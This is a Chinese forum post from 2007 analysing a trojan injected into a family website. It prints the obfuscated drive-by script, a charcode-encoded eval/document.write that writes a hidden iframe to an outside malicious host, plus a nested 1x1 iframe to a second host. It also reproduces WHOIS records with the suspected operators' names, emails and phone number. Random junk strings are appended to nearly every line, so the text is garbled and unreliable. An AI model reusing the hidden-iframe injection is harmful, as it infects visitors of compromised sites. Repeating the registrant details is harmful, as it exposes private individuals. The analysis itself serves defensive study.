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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, :l>T~&/98  
32IN;X|  
http://www.areway.cn/?p=175 b+M[DwPw  
qpl"j-  
~j\/3;^s   
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ;61m  
          lC1X9Op  
<script>t=’60,105,102,114,97,109,101, xy|-{  
32,115,114,99,61,104,116,116,112,58,47,47, GfQP@R"  
102,114,101,101,46,117,45,117,117,117,46,99, /j' We-C  
110,47,101,114,114,111,114,46,104,116,109, ZtEHP`Iin  
32,119,105,100,116,104,61,49,48,48,32,104, HC8{);  
101,105,103,104,116,61,48,62,60,47,105,102, V_(?mC  
114,97,109,101,62′; Iq\sf-1E  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 6iFd[<.*j  
                                                                                                  =k[!p'~jD  
<script>t=’60,105,102,114,97,109,101,32,115, ' U)~|(\i  
114,99,61,104,116,116,112,58,47,47,102,114, fXw%2wg  
101,101,46,117,45,117,117,117,46,99,110,47, +WwQ!vWWd  
101,114,114,111,114,46,104,116,109,32,119, \Rp)n=|  
105,100,116,104,61,49,48,48,32,104,101,105, Drlt xI)  
103,104,116,61,48,62,60,47,105,102,114,97, C_#0Y_O  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); F ,{nG[PL  
document.write(t);</script> 3@}HdLmN|  
                                                                                                  N_VAdNJ^:  
<html xmlns=” PSHs<Z47  
http://www.w3.org/1999/xhtml A}\Rms 2  
“> !@/?pXt|  
<head> S&]:=He  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> @ z#k~  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> SAG) vmm  
<title>首页 - 爱生活家庭网 (>0d+ KT  
                                                                                                                                                    -lMC{~h\(S  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 nwN<Q\]S  
转换字符串后的大概内容是(谁点击后果自付): KX<RD|=  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… jVRd[  
                                                                                                                                  xm YA/wt8  
查询玉米u-uuu.cn的详细信息: cp?`\P  
Domain Name: u-uuu.cn fD\h5`-  
ROID: 20070901s10001s64972306-cn  df 1* [  
Domain Status: ok u(ZS sftat  
Registrant Organization: 王雷 1"odkM  
Registrant Name: 王雷 BJj~fNm1Zr  
Administrative Email: czlovexs@126.com 3 XfXMVm  
Sponsoring Registrar: 北京万网志成科技有限公司 }C#YR( ]  
Name Server:ns.yovole.com 6w}:w?=6  
Name Server:ns1.yovole.com jd2Fh):q  
Registration Date: 2007-09-01 17:54 m2|0<P@k!  
Expiration Date: 2008-09-01 17:54 6g$04C3tHi  
最后PING了一下地址 都没有什么…. ~*B1}#;  
                                                                                                z7PPwTBa  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. <tF]>(|M  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> T"d]QYJS  
<script language=”javascript” src=” il-&d]AP  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 5Ll[vBW  
> LwGcy1F.  
这个玉米应该有可能是木马作者的: x2ol   
foafau.info的详细信息: RV(}\JU  
Access to INFO WHOIS information is provided to assist persons in +Kq>r|;  
determining the contents of a domain name registration record in the h'-TZXs0e1  
Afilias registry database. The data in this record is provided by 2|%30i,vV  
Afilias Limited for informational purposes only, and Afilias does not ;*Z w}51  
guarantee its accuracy.  This service is intended only for query-based ?>o39|M_w  
access. You agree that you will use this data only for lawful purposes LOida#R  
and that, under no circumstances will you use this data to: (a) allow, "W+4`A(/l  
enable, or otherwise support the transmission by e-mail, telephone, or \R-u+ci$ZY  
facsimile of mass unsolicited, commercial advertising or solicitations NM8 F  
to entities other than the data recipient’s own existing customers; or Z@ws,f^e  
(b) enable high volume, automated, electronic processes that send ?|hzAF"U  
queries or data to the systems of Registry Operator, a Registrar, or e#'`I^8l  
Afilias except as reasonably necessary to register domain names or KFV]2mFN  
modify existing registrations. All rights reserved. Afilias reserves wqGZkFg1  
the right to modify these terms at any time. By submitting this query, 2tr2:PB`  
you agree to abide by this policy. pb{P[-f  
Domain ID:D22418703-LRMS 5e2m EQU>  
Domain Name:FOAFAU.INFO [ objdQU`  
Created On:20-Nov-2007 16:05:42 UTC ^5T{x>Lj  
Last Updated On:20-Nov-2007 16:05:44 UTC e2*^;&|%  
Expiration Date:20-Nov-2008 16:05:42 UTC IeU.T@ $  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) x9_ Lt4  
Status:CLIENT DELETE PROHIBITED H7SqM D*y9  
Status:CLIENT RENEW PROHIBITED +Zr03B  
Status:CLIENT TRANSFER PROHIBITED zIo))L  
Status:CLIENT UPDATE PROHIBITED mtOrb9` m  
Status:TRANSFER PROHIBITED nlY ^  
Registrant ID:GODA-040110615 THu a?,oyW  
Registrant Name:liu hong u%h<5WNh<  
Registrant Organization: }dXL= ul  
Registrant Street1:beijing v%FVz  
Registrant Street2: r\Nn WS J  
Registrant Street3: J5o"JRJ"  
Registrant City:beijing So8P 8TCK  
Registrant State/Province: UJm`GO  
Registrant Postal Code:100000 sJ?kp^!g  
Registrant Country:CN W"Rii]GK"  
Registrant Phone:+86.860108888777 O.$<Bf9  
Registrant Phone Ext.: nu3 A'E`'k  
Registrant FAX: Z?x]HB`r  
Registrant FAX Ext.: {[9^@k  
Registrant Email:bbbshiji@163.com '  qM3.U  
Admin ID:GODA-240110615 q(r2\  
Admin Name:liu hong p5H Mg\hT  
Admin Organization: *"4<&F S  
Admin Street1:beijing Rxli;blzi  
Admin Street2: U=yD!  
Admin Street3: ZE\t{s0  
Admin City:beijing _N]yI0k(  
Admin State/Province: ,H%\+yn{  
Admin Postal Code:100000 eQLa.0  
Admin Country:CN =_1" d$S&  
Admin Phone:+86.860108888777 ld?M,Qd  
Admin Phone Ext.: 2~@=ua[|=5  
Admin FAX: sS|zz,y  
Admin FAX Ext.: 4Ek< 5s[  
Admin Email:bbbshiji@163.com YW}/C wB  
Billing ID:GODA-340110615 95<:-?4C;W  
Billing Name:liu hong RTU:J67E  
Billing Organization: S; c=6@"  
Billing Street1:beijing M)xK+f2_[  
Billing Street2: )b7mzDp(  
Billing Street3: 7RLh#D|  
Billing City:beijing Qpc{7#bp  
Billing State/Province: xl9l>k6,  
Billing Postal Code:100000 lxd<^R3i#^  
Billing Country:CN dg!sRm1iZ:  
Billing Phone:+86.860108888777 UEeqk"t^  
Billing Phone Ext.: uJO*aA{K  
Billing FAX: 2<O8=I _  
Billing FAX Ext.: f6"j-IW[z  
Billing Email:bbbshiji@163.com us cR/d  
Tech ID:GODA-140110615 E.6\(^g  
Tech Name:liu hong ~9c9@!RA2  
Tech Organization: aj,ZM,Ad  
Tech Street1:beijing C[pDPx,#:G  
Tech Street2: Gt%kok  
Tech Street3: 3edAI&a5  
Tech City:beijing Iu[EUi!"  
Tech State/Province: f LW>-O73  
Tech Postal Code:100000 Vg+SXq6G  
Tech Country:CN ZJpI]^9|  
Tech Phone:+86.860108888777 lV 9q;!/1  
Tech Phone Ext.: CL*%06QyE  
Tech FAX: 9mnON~j5  
Tech FAX Ext.: |l|]Tw  
Tech Email:bbbshiji@163.com w-"&;klV  
Name Server:NS27.DOMAINCONTROL.COM eXd(R>Mx  
Name Server:NS28.DOMAINCONTROL.COM q- Qws0\v.  
Name Server: 4_Jdh48-d  
Name Server: TGNeEYr  
Name Server: L$xRn/\  
Name Server: -Gpj^aBU  
Name Server: _e 3'f:  
Name Server: $!f$R`R^Q\  
Name Server: `R> O5Rv  
Name Server: t5k&xV=~ #  
Name Server: =FbfV*K 9  
Name Server: E;4a(o]{t  
Name Server: 7" [;M  
                                                                                                          ts]7 + 6V  
接着下载每个文件里面的代码: .9xGLmg  
一步一步看.. ' 7A7HDJ  
_#O?g=1  
FCWphpz  
(Gn[T1p?  
7q2YsI  
.T|NB8 rS  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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